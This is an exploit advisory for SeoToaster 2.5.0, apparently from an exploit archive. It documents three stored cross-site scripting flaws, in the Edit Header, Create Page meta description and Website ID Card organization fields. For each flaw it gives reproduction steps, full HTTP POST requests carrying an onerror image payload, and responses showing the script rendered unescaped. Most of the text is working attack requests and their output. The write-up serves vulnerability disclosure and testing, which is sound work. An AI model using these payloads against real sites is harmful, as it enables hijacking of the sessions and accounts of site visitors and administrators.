📄 SeoToaster 2.5.0 Cross Site Scripting

# Exploit Title: Stored XSS "Edit Header" Functionality - seotoasterv2.5.0
    # Date: 07/2025
    # Exploit Author: Andrey Stoykov
    # Version: 2.5.0
    # Tested on: Debian 12
    # Blog: https://msecureltd.blogspot.com/
    
    
    Stored XSS "Edit Header" Functionality #1:
    
    Steps to Reproduce:
    
    Login as admin user and visit "News"
    Click on "Edit Header Content" and enter the payload "><img src=x
    onerror=alert(1)>
    
    
    // HTTP POST Request Editing Header
    
    POST
    /seotoaster/backend/backend_content/add/containerType/3/containerName/right_2/pageId/20
    HTTP/1.1
    Host: 192.168.58.149
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0)
    Gecko/20100101 Firefox/141.0
    [...]
    
    content="><img src=x
    onerror=alert(1)>&containerType=&containerName=&pageId=&containerId=&secureToken=f617b019f0d4dc84000659711cf16b0a
    
    
    // HTTP Response
    
    HTTP/1.1 200 OK
    Date: Sat, 19 Jul 2025 19:21:00 GMT
    Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
    Perl/v5.16.3
    [...]
    
    {"error":0,"responseText":"148","httpCode":200}
    
    
    // HTTP GET Request
    
    GET
    /seotoaster/news/b2b-marketing-automation-a-booming-market-for-smart-web-agencies-1423145781.html
    HTTP/1.1
    Host: 192.168.58.149
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0)
    Gecko/20100101 Firefox/141.0
    [...]
    
    
    // HTTP Response
    
    HTTP/1.1 200 OK
    Date: Sat, 19 Jul 2025 19:21:00 GMT
    Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
    Perl/v5.16.3
    X-Powered-By: PHP/5.6.40
    X-Frame-Options: SAMEORIGIN
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
    pre-check=0
    Pragma: no-cache
    Keep-Alive: timeout=5, max=99
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
    Content-Length: 36973
    
    [...]
    <h3>"><img src=x onerror=alert(1)><a class="tpopup generator-links"
    data-pwidth="600" data-pheight="140" title="Click to edit header content"
    href="javascript:;" data-url="
    http://192.168.58.149/seotoaster/backend/backend_content/edit/id/148/containerType/3"><img
    width="26" height="26" src="
    http://192.168.58.149/seotoaster/system/images/editadd-header.png"
    alt="edit header content" /></a></h3>
    [...]
    
    
    
    # Exploit Title: Stored XSS "Create Page" Functionality - seotoasterv2.5.0
    # Date: 07/2025
    # Exploit Author: Andrey Stoykov
    # Version: 2.5.0
    # Tested on: Debian 12
    # Blog: https://msecureltd.blogspot.com/
    
    Stored XSS "Create Page" Functionality #1:
    
    Steps to Reproduce
    
    1. Login with admin and visit "Pages" > "Create a Page"
    2. In the "Meta Description" add the following payload "><img src=x
    onerror=alert(1)>
    
    
    // HTTP POST Request
    
    POST /seotoaster/backend/backend_page/page HTTP/1.1
    Host: 192.168.58.149
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0)
    Gecko/20100101 Firefox/141.0
    [...]
    
    h1=test3&headerTitle=test3&url=test3&navName=test3&metaKeywords=test3&metaDescription="><img
    src=x
    onerror=alert(1)>&inMenu=1&pageCategory=1&templateId=index&extraOptions=option_search&teaserText=test&removePreviousOption=yes&pageId=&draft=0&optimized=0&publishAt=&externalLinkStatus=0&externalLink=&secureToken=98a6a5f28e1844384d2d41f8e1d0a229&original-page-url=
    
    
    // HTTP Response
    
    HTTP/1.1 200 OK
    Date: Sun, 20 Jul 2025 15:20:42 GMT
    Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
    Perl/v5.16.3
    X-Powered-By: PHP/5.6.40
    X-Frame-Options: SAMEORIGIN
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
    pre-check=0
    Pragma: no-cache
    Content-Length: 69
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: application/json
    
    {"error":0,"responseText":{"redirectTo":"test3.html"},"httpCode":200}
    
    
    // HTTP GET Request
    
    GET /seotoaster/test3.html HTTP/1.1
    Host: 192.168.58.149
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0)
    Gecko/20100101 Firefox/141.0
    [...]
    
    
    // HTTP Response
    
    HTTP/1.1 200 OK
    Date: Sun, 20 Jul 2025 15:20:44 GMT
    Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
    Perl/v5.16.3
    [...]
    
    [...]
    <p class="news-description grid_10 omega">"><img src=x onerror=alert(1)></p>
    </div>
    [...]
    
    
    
    
    # Exploit Title: Stored XSS "Edit General Info" Functionality - seotoasterv2.5.0
    # Date: 07/2025
    # Exploit Author: Andrey Stoykov
    # Version: 2.5.0
    # Tested on: Debian 12
    # Blog: https://msecureltd.blogspot.com/
    
    Stored XSS "Edit General Info" Functionality #3:
    
    Steps to Reproduce
    
    1. Login with admin and visit "Website ID Card" > "Website Id Card"
    2. In the "Organization Name" add the following payload "><img src=x
    onerror=alert(1)>
    
    // HTTP POST Request
    
    POST /seotoaster/plugin/widcard/run/setWebsiteIdCard HTTP/1.1
    Host: 192.168.58.149
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0)
    Gecko/20100101 Firefox/141.0
    [...]
    
    ------geckoformboundarye25c980b11fd10ddbadfbd1b54af4d87
    Content-Disposition: form-data; name="organization_name"
    
    "><img src=x onerror=alert(`xss1`)>
    ------geckoformboundarye25c980b11fd10ddbadfbd1b54af4d87
    Content-Disposition: form-data; name="organization_description"
    
    "><img src=x onerror=alert(`xss2`)>
    ------geckoformboundarye25c980b11fd10ddbadfbd1b54af4d87
    [...]
    
    // HTTP Response
    
    HTTP/1.1 302 Found
    Date: Sun, 20 Jul 2025 15:35:07 GMT
    Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
    Perl/v5.16.3
    [...]
    
    // HTTP GET Request
    
    GET /seotoaster/plugin/widcard/run/getWebsiteIdCard HTTP/1.1
    Host: 192.168.58.149
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0)
    Gecko/20100101 Firefox/141.0
    [...]
    
    // HTTP Response
    
    HTTP/1.1 200 OK
    Date: Sun, 20 Jul 2025 15:35:11 GMT
    Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
    Perl/v5.16.3
    [...]
    
    [...]
    <input type="text" name="organization_name" value=""><img src=x
    onerror=alert(`xss1`)>" />
    [...]